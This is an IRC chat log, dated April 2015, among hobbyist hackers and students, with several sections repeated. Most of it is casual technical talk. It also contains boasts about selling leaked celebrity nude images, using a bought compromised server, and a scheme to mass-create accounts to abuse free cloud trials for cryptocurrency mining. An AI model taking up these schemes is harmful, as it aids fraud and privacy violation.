[2015-04-01T01:20:52-0400] <LittleBobbyTables> I got reported to the FBI once
[2015-04-01T01:21:01-0400] <LittleBobbyTables> because jennifer lawrence got leaked after I sold it to someone
[2015-04-01T01:22:18-0400] <bob_twinkles> what
[2015-04-01T01:24:05-0400] <LittleBobbyTables> I sold JLaw before she got leaked cause making money from nude celebrities
[2015-04-01T01:24:14-0400] <LittleBobbyTables> Next day, she got leaked because of World Secure
[2015-04-01T01:24:23-0400] <LittleBobbyTables> So some dude reported me to the FBI
[2015-04-01T01:30:32-0400] <LittleBobbyTables> did that make more sense
[2015-04-01T01:30:49-0400] <z3t> curious, did you just post on a market or did you already have contacts to sell to
[2015-04-01T01:32:38-0400] <LittleBobbyTables> uhh
[2015-04-01T01:32:40-0400] <LittleBobbyTables> sold in irc
[2015-04-01T01:32:44-0400] <LittleBobbyTables> and chatovod
[2015-04-01T01:32:46-0400] <LittleBobbyTables> and /b/
[2015-04-01T01:32:49-0400] <LittleBobbyTables> couple in marketplace
[2015-04-01T01:32:56-0400] <LittleBobbyTables> mostly in chatovod and /b/  though
[2015-04-01T01:47:21-0400] <Pharyngeal> Did they contact you
[2015-04-01T01:48:17-0400] <Pharyngeal> LittleBobbyTables: ^
[2015-04-01T01:48:27-0400] <LittleBobbyTables> Most of the time, yeah
[2015-04-01T01:48:38-0400] <Pharyngeal> I meant the Feds
[2015-04-01T01:49:12-0400] <LittleBobbyTables> Oh
[2015-04-01T01:49:12-0400] <LittleBobbyTables> No
[2015-04-01T01:49:16-0400] <Pharyngeal> Heh
[2015-04-01T01:49:24-0400] <Pharyngeal> How do you know you were "reported", then?
[2015-04-01T01:50:02-0400] <LittleBobbyTables> Custom email  + screenshots
[2015-04-01T01:50:14-0400] <Pharyngeal> Interesting
[2015-04-01T01:51:54-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=lzCtmkwU_-k
[2015-04-01T01:53:37-0400] <z3t> ow
[2015-04-01T01:54:01-0400] <LittleBobbyTables> right
[2015-04-01T02:01:40-0400] <LittleBobbyTables> http://i.imgur.com/i83u4Ib.jpg
[2015-04-01T02:08:37-0400] <z3t> imma sleep, gn all
[2015-04-01T03:11:04-0400] <z3t> sleep is boring
[2015-04-01T03:51:16-0400] <Tamini> it is
[2015-04-01T03:51:20-0400] <Tamini> but you should get some anyway.
[2015-04-01T03:54:21-0400] <z3t> nah
[2015-04-01T03:54:36-0400] <z3t> gonna be in a car for ~7 hours tomorrow anyways
[2015-04-01T04:26:59-0400] <z3t> eh gonna sleep now, gn
[2015-04-01T08:04:07-0400] <JacobEdelman> gmorning all
[2015-04-01T11:11:30-0400] <alokpathy> JacobEdelman: Salutations.
[2015-04-01T11:22:37-0400] <JacobEdelman> neural networks are fun!
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[2015-04-01T13:34:05-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-01T01:04:23-0400] <+awe> Good thing I'm not Australian.
[2015-04-01T01:04:26-0400] <z3t> Pharyngeal: Yeah, I hit him offline for a bit, he was not happy. Was in the Skype call when he did it, said I was participating in "online terrorist activities".
[2015-04-01T01:04:40-0400] <ubuntor> it's a worrying precedent though
[2015-04-01T01:04:45-0400] <+awe> Indeed.
[2015-04-01T01:06:04-0400] <Pharyngeal> That's laughable z3t 
[2015-04-01T01:07:13-0400] <z3t> Pharyngeal: Yeah...we're actually friends now, which was a bit unexpected.
[2015-04-01T01:07:26-0400] <Pharyngeal> Have any of you used owncloud?
[2015-04-01T01:07:58-0400] <Pharyngeal> I have it running on one of my machines, it's just so slow.
[2015-04-01T01:09:28-0400] <+awe> calc0000 used it for some time.
[2015-04-01T01:10:01-0400] <Pharyngeal> calc0000: Did it perform for you? I have it running in a docker container, and it's so slow
[2015-04-01T01:10:56-0400] <Pharyngeal> I'm considering moving it to HHVM/nginx
[2015-04-01T01:20:52-0400] <LittleBobbyTables> I got reported to the FBI once
[2015-04-01T01:21:01-0400] <LittleBobbyTables> because jennifer lawrence got leaked after I sold it to someone
[2015-04-01T01:22:18-0400] <bob_twinkles> what
[2015-04-01T01:24:05-0400] <LittleBobbyTables> I sold JLaw before she got leaked cause making money from nude celebrities
[2015-04-01T01:24:14-0400] <LittleBobbyTables> Next day, she got leaked because of World Secure
[2015-04-01T01:24:23-0400] <LittleBobbyTables> So some dude reported me to the FBI
[2015-04-01T01:30:32-0400] <LittleBobbyTables> did that make more sense
[2015-04-01T01:30:49-0400] <z3t> curious, did you just post on a market or did you already have contacts to sell to
[2015-04-01T01:32:38-0400] <LittleBobbyTables> uhh
[2015-04-01T01:32:40-0400] <LittleBobbyTables> sold in irc
[2015-04-01T01:32:44-0400] <LittleBobbyTables> and chatovod
[2015-04-01T01:32:46-0400] <LittleBobbyTables> and /b/
[2015-04-01T01:32:49-0400] <LittleBobbyTables> couple in marketplace
[2015-04-01T01:32:56-0400] <LittleBobbyTables> mostly in chatovod and /b/  though
[2015-04-01T01:47:21-0400] <Pharyngeal> Did they contact you
[2015-04-01T01:48:17-0400] <Pharyngeal> LittleBobbyTables: ^
[2015-04-01T01:48:27-0400] <LittleBobbyTables> Most of the time, yeah
[2015-04-01T01:48:38-0400] <Pharyngeal> I meant the Feds
[2015-04-01T01:49:12-0400] <LittleBobbyTables> Oh
[2015-04-01T01:49:12-0400] <LittleBobbyTables> No
[2015-04-01T01:49:16-0400] <Pharyngeal> Heh
[2015-04-01T01:49:24-0400] <Pharyngeal> How do you know you were "reported", then?
[2015-04-01T01:50:02-0400] <LittleBobbyTables> Custom email  + screenshots
[2015-04-01T01:50:14-0400] <Pharyngeal> Interesting
[2015-04-01T01:51:54-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=lzCtmkwU_-k
[2015-04-01T01:53:37-0400] <z3t> ow
[2015-04-01T01:54:01-0400] <LittleBobbyTables> right
[2015-04-01T02:01:40-0400] <LittleBobbyTables> http://i.imgur.com/i83u4Ib.jpg
[2015-04-01T02:08:37-0400] <z3t> imma sleep, gn all
[2015-04-01T03:11:04-0400] <z3t> sleep is boring
[2015-04-01T03:51:16-0400] <Tamini> it is
[2015-04-01T03:51:20-0400] <Tamini> but you should get some anyway.
[2015-04-01T03:54:21-0400] <z3t> nah
[2015-04-01T03:54:36-0400] <z3t> gonna be in a car for ~7 hours tomorrow anyways
[2015-04-01T04:26:59-0400] <z3t> eh gonna sleep now, gn
[2015-04-01T08:04:07-0400] <JacobEdelman> gmorning all
[2015-04-01T11:11:30-0400] <alokpathy> JacobEdelman: Salutations.
[2015-04-01T11:22:37-0400] <JacobEdelman> neural networks are fun!
[2015-04-01T13:27:14-0400] <sdamashek> :D
[2015-04-01T13:34:07-0400] Mode is +nt
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[2015-04-01T16:15:37-0400] <ubuntor> http://radare.today/we-have-been-acquired-by-hex-rays/
[2015-04-01T16:19:48-0400] <+awe> http://phdcomics.com/comics/archive.php?comicid=1078
[2015-04-01T16:19:48-0400] <+awe> wow
[2015-04-01T16:36:15-0400] <bob_twinkles> ubuntor: goddamnit
[2015-04-01T16:37:05-0400] <bob_twinkles> I mean, not that Radare ever worked particularly well anyway...
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[2015-04-01T16:52:14-0400] <JacobEdelman> I have rearrived
[2015-04-01T17:53:53-0400] <JacobEdelman> so, I rewrote my image generation method so it uses my own much cooler design
[2015-04-01T17:54:02-0400] <JacobEdelman> I am currentely evolving a picture of a terrier
[2015-04-01T17:54:58-0400] <JacobEdelman> about 0.0025 chance this is a terrier https://usercontent.irccloud-cdn.com/file/5T9TeI1V/best.jpg
[2015-04-01T18:04:12-0400] <JacobEdelman> after editing some params and restarting
[2015-04-01T18:04:46-0400] <JacobEdelman> above a 6% chance of being a terrier! https://usercontent.irccloud-cdn.com/file/PbtnOh67/best.jpg
[2015-04-01T18:05:00-0400] <+awe> JacobEdelman: will this one actually work?
[2015-04-01T18:05:37-0400] <JacobEdelman> oh wait, its not 6%, its more like 0.2% at that point
[2015-04-01T18:05:39-0400] <JacobEdelman> awe: maybe?
[2015-04-01T18:05:48-0400] <JacobEdelman> I mean, the studies done on this are that they don't work
[2015-04-01T18:06:09-0400] <JacobEdelman> they find images which the neural net recognizes witha  high probability as being something but look nothing like it
[2015-04-01T18:06:24-0400] <JacobEdelman> my question is whether the false postiives can be used to discovver what the neural net is doing
[2015-04-01T18:06:58-0400] <JacobEdelman> like the neural rates a sort of redstriped background with "stiches" as a baseball with very high probbaility, showing that it looks for the baseballs texture, not the sphere
[2015-04-01T18:07:13-0400] <JacobEdelman> *neural net rates
[2015-04-01T18:07:24-0400] <JacobEdelman> (that baeball one was in a research paper)
[2015-04-01T18:07:27-0400] <JacobEdelman> *baseball
[2015-04-01T18:07:44-0400] <+awe> Yeah, okay.
[2015-04-01T18:11:53-0400] <JacobEdelman> so, I'm quiet proud of this image generater I built, the neural net and evolution parts are still being tested
[2015-04-01T18:12:11-0400] <JacobEdelman> but the part to just generate random images and allow them to be changed in small ways randomly is nice
[2015-04-01T18:12:20-0400] <JacobEdelman> as shown by the above, pretty looking, images
[2015-04-01T18:12:23-0400] <JacobEdelman> it uses trig!
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[2015-04-01T18:14:35-0400] <JacobEdelman> images that are recognized as baseballs seem easy to evovle
[2015-04-01T18:14:49-0400] <JacobEdelman> above a 50% chance of being a baseball https://usercontent.irccloud-cdn.com/file/VEvqksGn/best.jpg
[2015-04-01T18:15:07-0400] <z3t> hey kids
[2015-04-01T18:16:17-0400] <+awe> Heya, z3t.
[2015-04-01T18:16:22-0400] <+awe> I feel like I've read too much PhD the past two days.
[2015-04-01T18:16:35-0400] <+awe> I feel lost, confused, and just generally in a daze.
[2015-04-01T18:16:41-0400] <+awe> I've also read through 1,400 comic strips.
[2015-04-01T18:16:58-0400] <JacobEdelman> oh god
[2015-04-01T18:17:01-0400] <JacobEdelman> but its so depressing
[2015-04-01T18:17:16-0400] <+awe> It's really funny most of the time, and it's occasionally depressing.
[2015-04-01T18:18:31-0400] <+awe> It's all very tongue-in-cheek, which I guess comes off as depressing a lot, too.
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[2015-04-01T18:42:11-0400] <z3t> he
[2015-04-01T18:44:28-0400] <Hyper> awe: well I've been learning RE for the past several days x.x
[2015-04-01T18:44:33-0400] <Hyper> my mind is in a daze
[2015-04-01T18:44:41-0400] <z3t> LittleBobbyTables
[2015-04-01T18:44:42-0400] <Hyper> but I finished the CMU bomblab!
[2015-04-01T18:52:42-0400] <LittleBobbyTables> what
[2015-04-01T18:54:17-0400] <ubuntor> nice
[2015-04-01T18:56:21-0400] <LittleBobbyTables> Can I limit how much bandwidth a certain person can use? eg I get 99.9% of it, and everyone else gets  .1%
[2015-04-01T18:57:34-0400] <Hyper> LittleBobbyTables: you might be able to do something like that with QoS
[2015-04-01T18:58:05-0400] <LittleBobbyTables> I know I could say "hey, this person has higher priority" with QoS
[2015-04-01T18:58:10-0400] <LittleBobbyTables> But couldn't find anything more :/
[2015-04-01T19:01:48-0400] <Hyper> JacobEdelman: do you have a link to that article on tricking neural nets handy?
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[2015-04-01T19:11:34-0400] <JacobEdelman> Hyper: http://arxiv.org/abs/1412.1897
[2015-04-01T19:12:50-0400] <LittleBobbyTables> This would be the best April Fools Steam prank:
[2015-04-01T19:12:50-0400] <LittleBobbyTables>     There is a 60 second timer that counts down.
[2015-04-01T19:12:50-0400] <LittleBobbyTables>     The timer restarts back to 60 seconds whenever a steam game is launched.
[2015-04-01T19:12:50-0400] <LittleBobbyTables>     Half Life 3 is released when the timer reaches zero.
[2015-04-01T19:13:49-0400] <JacobEdelman> wait
[2015-04-01T19:13:52-0400] <JacobEdelman> April Fools
[2015-04-01T19:14:03-0400] <JacobEdelman> is that comic sans for all you guys?
[2015-04-01T19:14:08-0400] <ubuntor> hmm, the reddit button
[2015-04-01T19:14:12-0400] <JacobEdelman> ?
[2015-04-01T19:14:30-0400] <JacobEdelman> ubuntor: do comic sans and April Fools appear in comic sans for you?
[2015-04-01T19:14:39-0400] <LittleBobbyTables> Just comic sans.
[2015-04-01T19:14:40-0400] <JacobEdelman> I'm guessing its just irccloud
[2015-04-01T19:14:43-0400] <ubuntor> sounds like your client
[2015-04-01T19:14:44-0400] <ubuntor> yeah
[2015-04-01T19:14:44-0400] <LittleBobbyTables> April Fools doesn't.
[2015-04-01T19:14:46-0400] <ubuntor> www.reddit.com/r/thebutton
[2015-04-01T19:14:48-0400] <jwoglom> LittleBobbyTables: how do we know that's not the reddit button? :P
[2015-04-01T19:14:51-0400] <JacobEdelman> wair
[2015-04-01T19:14:53-0400] <JacobEdelman> *weird
[2015-04-01T19:14:56-0400] <JacobEdelman> april
[2015-04-01T19:14:57-0400] <LittleBobbyTables> jwoglom: I got it from a thread on there :P
[2015-04-01T19:15:13-0400] <ubuntor> hm
[2015-04-01T19:18:18-0400] <LittleBobbyTables> I want to push the button
[2015-04-01T19:26:24-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=4bnakHWlRAI
[2015-04-01T19:27:57-0400] <JacobEdelman> I clicked the button
[2015-04-01T19:28:05-0400] <JacobEdelman> immediately 
[2015-04-01T19:28:07-0400] <JacobEdelman> I see button
[2015-04-01T19:28:10-0400] <JacobEdelman> it pretty button
[2015-04-01T19:28:15-0400] <JacobEdelman> I click the pretty button
[2015-04-01T19:28:18-0400] <JacobEdelman> now I feel shame
[2015-04-01T19:28:20-0400] <JacobEdelman> and sadness
[2015-04-01T19:28:25-0400] <JacobEdelman> and longing
[2015-04-01T19:28:30-0400] <JacobEdelman> I wanna click button again!!
[2015-04-01T19:28:43-0400] • JacobEdelman: cries in acorner
[2015-04-01T19:28:47-0400] <JacobEdelman> *a corner
[2015-04-01T19:29:36-0400] <LittleBobbyTables> You only have one reddit account...?
[2015-04-01T19:29:50-0400] <JacobEdelman> yeah...
[2015-04-01T19:30:04-0400] <JacobEdelman> I only got it a month ago
[2015-04-01T19:31:00-0400] <LittleBobbyTables> wtf
[2015-04-01T19:31:06-0400] <LittleBobbyTables> I have like 18
[2015-04-01T19:31:20-0400] <jwoglom> i've had a reddit acct since 2010 :P
[2015-04-01T19:31:29-0400] <jwoglom> also, hey, just forgot, today's my reddit cakeday :D
[2015-04-01T19:31:30-0400] <LittleBobbyTables> Most people in this chat weren't even born then
[2015-04-01T19:31:48-0400] <JacobEdelman> wait
[2015-04-01T19:31:50-0400] <JacobEdelman> what?
[2015-04-01T19:31:52-0400] <JacobEdelman> 2010?
[2015-04-01T19:31:58-0400] <JacobEdelman> I was born in... 2009?
[2015-04-01T19:32:00-0400] <LittleBobbyTables> You're all 4 or younger.
[2015-04-01T19:32:07-0400] <jwoglom> LittleBobbyTables: then how old are you?
[2015-04-01T19:33:07-0400] <LittleBobbyTables> 42
[2015-04-01T19:51:12-0400] <JacobEdelman> Give or take a few decades
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[2015-04-01T19:12:50-0400] <LittleBobbyTables>     The timer restarts back to 60 seconds whenever a steam game is launched.
[2015-04-01T19:12:50-0400] <LittleBobbyTables>     Half Life 3 is released when the timer reaches zero.
[2015-04-01T19:13:49-0400] <JacobEdelman> wait
[2015-04-01T19:13:52-0400] <JacobEdelman> April Fools
[2015-04-01T19:14:03-0400] <JacobEdelman> is that comic sans for all you guys?
[2015-04-01T19:14:08-0400] <ubuntor> hmm, the reddit button
[2015-04-01T19:14:12-0400] <JacobEdelman> ?
[2015-04-01T19:14:30-0400] <JacobEdelman> ubuntor: do comic sans and April Fools appear in comic sans for you?
[2015-04-01T19:14:39-0400] <LittleBobbyTables> Just comic sans.
[2015-04-01T19:14:40-0400] <JacobEdelman> I'm guessing its just irccloud
[2015-04-01T19:14:43-0400] <ubuntor> sounds like your client
[2015-04-01T19:14:44-0400] <ubuntor> yeah
[2015-04-01T19:14:44-0400] <LittleBobbyTables> April Fools doesn't.
[2015-04-01T19:14:46-0400] <ubuntor> www.reddit.com/r/thebutton
[2015-04-01T19:14:48-0400] <jwoglom> LittleBobbyTables: how do we know that's not the reddit button? :P
[2015-04-01T19:14:51-0400] <JacobEdelman> wair
[2015-04-01T19:14:53-0400] <JacobEdelman> *weird
[2015-04-01T19:14:56-0400] <JacobEdelman> april
[2015-04-01T19:14:57-0400] <LittleBobbyTables> jwoglom: I got it from a thread on there :P
[2015-04-01T19:15:13-0400] <ubuntor> hm
[2015-04-01T19:18:18-0400] <LittleBobbyTables> I want to push the button
[2015-04-01T19:26:24-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=4bnakHWlRAI
[2015-04-01T19:27:57-0400] <JacobEdelman> I clicked the button
[2015-04-01T19:28:05-0400] <JacobEdelman> immediately 
[2015-04-01T19:28:07-0400] <JacobEdelman> I see button
[2015-04-01T19:28:10-0400] <JacobEdelman> it pretty button
[2015-04-01T19:28:15-0400] <JacobEdelman> I click the pretty button
[2015-04-01T19:28:18-0400] <JacobEdelman> now I feel shame
[2015-04-01T19:28:20-0400] <JacobEdelman> and sadness
[2015-04-01T19:28:25-0400] <JacobEdelman> and longing
[2015-04-01T19:28:30-0400] <JacobEdelman> I wanna click button again!!
[2015-04-01T19:28:43-0400] • JacobEdelman: cries in acorner
[2015-04-01T19:28:47-0400] <JacobEdelman> *a corner
[2015-04-01T19:29:36-0400] <LittleBobbyTables> You only have one reddit account...?
[2015-04-01T19:29:50-0400] <JacobEdelman> yeah...
[2015-04-01T19:30:04-0400] <JacobEdelman> I only got it a month ago
[2015-04-01T19:31:00-0400] <LittleBobbyTables> wtf
[2015-04-01T19:31:06-0400] <LittleBobbyTables> I have like 18
[2015-04-01T19:31:20-0400] <jwoglom> i've had a reddit acct since 2010 :P
[2015-04-01T19:31:29-0400] <jwoglom> also, hey, just forgot, today's my reddit cakeday :D
[2015-04-01T19:31:30-0400] <LittleBobbyTables> Most people in this chat weren't even born then
[2015-04-01T19:31:48-0400] <JacobEdelman> wait
[2015-04-01T19:31:50-0400] <JacobEdelman> what?
[2015-04-01T19:31:52-0400] <JacobEdelman> 2010?
[2015-04-01T19:31:58-0400] <JacobEdelman> I was born in... 2009?
[2015-04-01T19:32:00-0400] <LittleBobbyTables> You're all 4 or younger.
[2015-04-01T19:32:07-0400] <jwoglom> LittleBobbyTables: then how old are you?
[2015-04-01T19:33:07-0400] <LittleBobbyTables> 42
[2015-04-01T19:51:12-0400] <JacobEdelman> Give or take a few decades
[2015-04-01T20:43:10-0400] <z3t> LittleBobbyTables
[2015-04-01T20:54:13-0400] Mode is +nt
[2015-04-01T21:08:40-0400] <LittleBobbyTables> what
[2015-04-01T21:14:51-0400] <z3t> any idea why a box would be saying i have 8000+ gb of ram...
[2015-04-01T21:15:20-0400] <ubuntor> https://www.whitehouse.gov/blog/2015/04/01/our-latest-tool-combat-cyber-attacks-what-you-need-know
[2015-04-01T21:15:25-0400] <ubuntor> thoughts?
[2015-04-01T21:15:46-0400] <LittleBobbyTables> z3t: because you're reading it wrong and it says 8000+ mb?
[2015-04-01T21:16:09-0400] <LittleBobbyTables> ubuntor: tldr
[2015-04-01T21:16:35-0400] <z3t> LittleBobbyTables I did free -g
[2015-04-01T21:16:51-0400] <z3t> ubuntor: Can't wait until he's out of office
[2015-04-01T21:17:12-0400] <z3t> ubuntor: he's issued way too many executive orders 
[2015-04-01T21:18:43-0400] <ubuntor> LittleBobbyTables: executive order, can impose sanctions on "cyber criminals" that threaten the us
[2015-04-01T21:18:53-0400] <LittleBobbyTables> So literally every single one of us
[2015-04-01T21:19:11-0400] <ubuntor> basically
[2015-04-01T21:19:55-0400] <z3t> "Significantly disrupting the availability of a computer or network of computers, including through a distributed denial-of-service attack"
[2015-04-01T21:19:57-0400] <z3t> heh
[2015-04-01T21:20:21-0400] <z3t> and then "Attempting, assisting, or providing material support for any of the harms listed above"
[2015-04-01T21:20:24-0400] <z3t> like really?
[2015-04-01T21:24:51-0400] <JacobEdelman> wait
[2015-04-01T21:24:59-0400] <JacobEdelman> obamam issued too many exec orders
[2015-04-01T21:25:03-0400] • JacobEdelman: sighs
[2015-04-01T21:25:50-0400] <JacobEdelman> http://r.duckduckgo.com/l/?kh=-1&uddg=http%3A%2F%2Fwww.msnbc.com%2Fmsnbc%2Fboehner-lawsuit-obama
[2015-04-01T21:27:02-0400] <JacobEdelman> http://www.snopes.com/politics/obama/executiveorders.asp
[2015-04-01T21:28:04-0400] <JacobEdelman> also, all that complaining you guys are doing is just complaining about legal speak
[2015-04-01T21:28:26-0400] <z3t> spotted the democrat
[2015-04-01T21:28:33-0400] <ubuntor> z3t: try free -h?
[2015-04-01T21:29:03-0400] <LittleBobbyTables> The complaint is that any white hat now legally can't do his job.
[2015-04-01T21:29:22-0400] <LittleBobbyTables> Anyone that views fullz or clicks on a link to them is  breaking the law.
[2015-04-01T21:29:35-0400] <LittleBobbyTables> That's how broad these cyber crime orders are.
[2015-04-01T21:31:22-0400] <z3t> ubuntor: not a valid parameter on that box apparently
[2015-04-01T21:31:33-0400] <z3t> "free" (kb output) shows 8589934588
[2015-04-01T21:32:03-0400] <ubuntor> huh
[2015-04-01T21:32:15-0400] <z3t> idk what to think
[2015-04-01T21:32:35-0400] <ubuntor> is this a shared box?
[2015-04-01T21:32:40-0400] <LittleBobbyTables> do free -b
[2015-04-01T21:32:53-0400] <LittleBobbyTables> just for shiggles
[2015-04-01T21:33:51-0400] <z3t> 8796093018112
[2015-04-01T21:33:53-0400] <z3t> jesus
[2015-04-01T21:34:01-0400] <ubuntor> hm, that's 8192 gib
[2015-04-01T21:34:17-0400] <LittleBobbyTables> Somethings fucked
[2015-04-01T21:35:41-0400] <ubuntor> where did you find this
[2015-04-01T21:36:23-0400] <z3t> bought it off some kid that rooted it
[2015-04-01T21:36:33-0400] <z3t> CPU: Intel(R) Core(TM)2 Quad CPU    Q6600  @ 2.40GHz
[2015-04-01T21:37:03-0400] <LittleBobbyTables> lolwut
[2015-04-01T21:37:04-0400] <ubuntor> wat
[2015-04-01T21:37:13-0400] <JacobEdelman> z3t: umm... a majority of the people here are liberal leaning
[2015-04-01T21:37:18-0400] <JacobEdelman> I think
[2015-04-01T21:37:23-0400] <ubuntor> is this some sort of server
[2015-04-01T21:37:40-0400] <z3t> "some sort of server"
[2015-04-01T21:37:42-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=sKZ_l0pLUO8
[2015-04-01T21:38:00-0400] <ubuntor> ok, bad question
[2015-04-01T21:38:28-0400] <z3t> it's not like some webhost shared hosting server
[2015-04-01T21:38:33-0400] <z3t> it has one website on it
[2015-04-01T21:38:46-0400] <JacobEdelman> guys
[2015-04-01T21:39:00-0400] <JacobEdelman> how do I get vagrant working on a digital ocean droplet?
[2015-04-01T21:39:36-0400] <ubuntor> can't get it up? ;)
[2015-04-01T21:40:08-0400] <jwoglom> https://www.digitalocean.com/community/tutorials/how-to-use-vagrant-on-your-own-vps-running-ubuntu?
[2015-04-01T21:40:12-0400] <z3t> I should try mining on this thing...
[2015-04-01T21:40:32-0400] <jwoglom> (bit)coin mining on commercial hardware is 100% useless
[2015-04-01T21:40:52-0400] <LittleBobbyTables> Why not just make a shitton of real emails, sign up to multiple free cloud services (through referrals if you want), and make 200+ bucks a day from litecoin mining
[2015-04-01T21:41:10-0400] <jwoglom> LittleBobbyTables: you simply can't make that money on any coin anymore
[2015-04-01T21:41:13-0400] <jwoglom> difficulty is too high
[2015-04-01T21:41:31-0400] <LittleBobbyTables> You can easily make that much if you have 10k+ comps
[2015-04-01T21:41:55-0400] <jwoglom> making 10k+ free hosting accounts is, like, not easy
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[2015-04-01T21:42:45-0400] <JacobEdelman> jwoglom: thats based off a previous tutorial for seting it up which I am trying
[2015-04-01T21:42:46-0400] <jake> spotty hotel wifi :L
[2015-04-01T21:42:50-0400] <JacobEdelman> jwoglom: no luck so far
[2015-04-01T21:43:08-0400] <LittleBobbyTables> If you can make 1k in a weekend manually, I'm pretty sure you can script something up to do a fuckton in a week.
[2015-04-01T21:43:24-0400] <LittleBobbyTables> Most of the services that offer free ones for a trial don't really have great detection.
[2015-04-01T21:43:25-0400] <JacobEdelman> jwoglom: ah, switching ubuntu versions now
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[2015-04-01T21:52:54-0400] <JacobEdelman> jwoglom: it appears to be working now
[2015-04-01T21:53:03-0400] <jwoglom> cool, what'd you do differently?
[2015-04-01T21:55:04-0400] <JacobEdelman> used 12.04 instead of 14.04
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[2015-04-01T22:02:18-0400] <JacobEdelman> jwoglom: now I'm getting "/opt/vagrant/bin/vagrant: line 91: /opt/vagrant/bin/../embedded/bin/ruby: No such file or directory"
[2015-04-01T22:02:31-0400] <jwoglom> ls /opt/vagrant maybe?
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/0bVDkmAt
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/aNDRnko6
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/k9a5V3Ht
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/pcBkpqyE
[2015-04-01T22:03:53-0400] <JacobEdelman> oops
[2015-04-01T22:03:57-0400] <JacobEdelman> darn irclcoud glitches
[2015-04-01T22:04:01-0400] <JacobEdelman> those are all identical
[2015-04-01T22:04:05-0400] <JacobEdelman> just look at one jwoglom 
[2015-04-01T22:05:48-0400] <+awe> JacobEdelman: https://en.wikipedia.org/wiki/Hava_Siegelmann
[2015-04-01T22:05:59-0400] <+awe> JacobEdelman: I think I'm taking AI with her next semester.
[2015-04-01T22:06:10-0400] <+awe> JacobEdelman: she invented a field of computing, and does seminal work on neural nets.
[2015-04-01T22:06:42-0400] <JacobEdelman> jwoglom: all vagrant calls seem to fail now :(
[2015-04-01T22:06:44-0400] <JacobEdelman> awe: cool
[2015-04-01T22:06:52-0400] <jwoglom> i dunno man
[2015-04-01T22:06:59-0400] <jwoglom> google?
[2015-04-01T22:07:28-0400] <JacobEdelman> I'm on the verge of using docker to run vagrant
[2015-04-01T22:10:33-0400] <JacobEdelman> oh wait
[2015-04-01T22:10:36-0400] <JacobEdelman> I got it working
[2015-04-01T22:10:37-0400] <JacobEdelman> ish
[2015-04-01T22:10:46-0400] <JacobEdelman> it now is saying something is wrong with the vagrant file's syntex
[2015-04-01T22:10:48-0400] <JacobEdelman> *syntax
[2015-04-01T22:10:52-0400] <JacobEdelman> which is soemthing I can fix
[2015-04-01T22:10:56-0400] <JacobEdelman> yeah, i shall sleep now
[2015-04-01T22:14:32-0400] <jake> oh yay SAT scores tomorrow
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[2015-04-01T22:15:08-0400] <+awe> z3t: how do you think you did?
[2015-04-01T22:15:57-0400] <JacobEdelman> awe: its in his nick
[2015-04-01T22:16:01-0400] <JacobEdelman> he thinks he got a 3
[2015-04-01T22:16:04-0400] <+awe> Oh, fair enough.
[2015-04-01T22:16:12-0400] <JacobEdelman> which is 4 better than I got
[2015-04-01T22:16:19-0400] <JacobEdelman> I think
[2015-04-01T22:16:28-0400] <+awe> Also, I feel like you're not nearly as excited as you should be about me taking a class with someone who does major work on neural nets.
[2015-04-01T22:16:36-0400] <JacobEdelman> I was working on do
[2015-04-01T22:16:38-0400] <JacobEdelman> and tired
[2015-04-01T22:16:44-0400] <JacobEdelman> lemme actually look at the person now
[2015-04-01T22:16:58-0400] <+awe> She's a Jewish lady.
[2015-04-01T22:17:19-0400] <z3t> you need excitement awe?
[2015-04-01T22:17:28-0400] <JacobEdelman> awe: oh god
[2015-04-01T22:17:31-0400] <z3t> YEAH AWE WOOOO YOU'RE WORKING WITH SOME JEWISH LADY!!! WOO!
[2015-04-01T22:17:34-0400] <fwilson> wat
[2015-04-01T22:17:36-0400] <fwilson> ok
[2015-04-01T22:17:45-0400] <JacobEdelman> awe: she's one of those people who looks like they are complete egocentric crackpots
[2015-04-01T22:17:54-0400] <JacobEdelman> but is actually humble and even smarter than they sound
[2015-04-01T22:22:43-0400]  
[2015-04-01T22:22:43-0400] ------------- Begin Session -------------
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[2015-04-01T22:22:47-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-01T21:52:54-0400] <JacobEdelman> jwoglom: it appears to be working now
[2015-04-01T21:53:03-0400] <jwoglom> cool, what'd you do differently?
[2015-04-01T21:55:04-0400] <JacobEdelman> used 12.04 instead of 14.04
[2015-04-01T22:02:18-0400] <JacobEdelman> jwoglom: now I'm getting "/opt/vagrant/bin/vagrant: line 91: /opt/vagrant/bin/../embedded/bin/ruby: No such file or directory"
[2015-04-01T22:02:31-0400] <jwoglom> ls /opt/vagrant maybe?
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/0bVDkmAt
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/aNDRnko6
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/k9a5V3Ht
[2015-04-01T22:03:49-0400] <JacobEdelman> https://www.irccloud.com/pastebin/pcBkpqyE
[2015-04-01T22:03:53-0400] <JacobEdelman> oops
[2015-04-01T22:03:57-0400] <JacobEdelman> darn irclcoud glitches
[2015-04-01T22:04:00-0400] <JacobEdelman> those are all identical
[2015-04-01T22:04:05-0400] <JacobEdelman> just look at one jwoglom 
[2015-04-01T22:05:48-0400] <+awe> JacobEdelman: https://en.wikipedia.org/wiki/Hava_Siegelmann
[2015-04-01T22:05:59-0400] <+awe> JacobEdelman: I think I'm taking AI with her next semester.
[2015-04-01T22:06:10-0400] <+awe> JacobEdelman: she invented a field of computing, and does seminal work on neural nets.
[2015-04-01T22:06:42-0400] <JacobEdelman> jwoglom: all vagrant calls seem to fail now :(
[2015-04-01T22:06:44-0400] <JacobEdelman> awe: cool
[2015-04-01T22:06:52-0400] <jwoglom> i dunno man
[2015-04-01T22:06:59-0400] <jwoglom> google?
[2015-04-01T22:07:28-0400] <JacobEdelman> I'm on the verge of using docker to run vagrant
[2015-04-01T22:10:33-0400] <JacobEdelman> oh wait
[2015-04-01T22:10:36-0400] <JacobEdelman> I got it working
